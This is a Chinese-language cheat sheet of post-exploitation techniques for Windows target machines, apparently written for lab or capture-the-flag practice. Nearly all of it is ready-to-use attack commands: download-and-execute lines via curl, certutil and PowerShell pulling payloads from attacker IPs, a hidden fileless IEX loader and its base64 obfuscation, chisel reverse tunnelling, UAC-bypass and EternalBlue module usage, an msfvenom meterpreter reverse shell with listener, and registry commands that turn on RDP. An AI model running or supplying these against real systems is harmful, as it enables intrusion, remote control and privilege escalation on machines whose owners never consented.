windows靶机技巧

发布于: 2026-07-15 00:20

下载远程文件

curl(win10及以上cmd中,powershell中curl实际为Invoke-WebRequest的别名)

curl -o a.exe http://192.168.20.10/a.exe

certutil 下载远程文件到指定目录,默认下载到当前目录,类似wget

certutil -urlcache -split -f http://192.168.20.10/a.exe a.exe

PowerShell

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/a.exe','a.exe')

powershell 无文件落地,通过远程http请求内容,在内存里直接执行

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.1/evil.txt'))"

编码payload

$command = "IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.1/evil.txt'))"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
Write-Output $encoded

解码并执行

powershell -nop -w hidden -EncodedCommand <上面输出的base64>

反弹shell生成

反弹shell生成器:

https://www.revshells.com/

Github项目

流量代理

内网穿透、流量转发

https://github.com/jpillora/chisel

示例:

windows靶机,把监听在本地的80端口转发到kali攻击机的8080端口

:: 将靶机本地 80 端口映射到攻击机 8080 端口
.\chisel.exe client 192.168.56.111:9000 R:8080:127.0.0.1:80

kali攻击机

chisel server --reverse --port 9000

bypassuac

拿到管理员组用户后,涉及权限提升时,需要绕过UAC(User Account Control,用户帐户控制),可以使用bypassuac工具

whoami /groups

示例,当前用户属于Administrators组

PS C:\> whoami /groups

组信息
-----------------

组名                                   类型   SID          属性
====================================== ====== ============ ==============================
Everyone                               已知组 S-1-1-0      必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户和管理员组成员    已知组 S-1-5-114    只用于拒绝的组
BUILTIN\Administrators                 别名   S-1-5-32-544 只用于拒绝的组

可以使用 msf 自带的 bypassuac 模块,很多 excellent 等级的模块仍然可用

msfconsole
search bypassuac

Github也有类似的项目,没有提供预编译 exe,需要自行使用 Visual Studio 编译

UAC bypass for x64 Windows 7 - 11

UACME

msf 操作

搜索模块

search ms17_010

使用模块名或模块id

use exploit/windows/smb/ms17_010_eternalblue

查看模块选项,补充yes必填项

show options

msf 生成反弹shell payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.111 LPORT=4444 -f exe -o a.exe

msf 监听

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.111
set LPORT 4444
run

cmd启用远程桌面连接(RDP)

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

msf启用rdp模块

use post/windows/manage/enable_rdp
set SESSION 1
run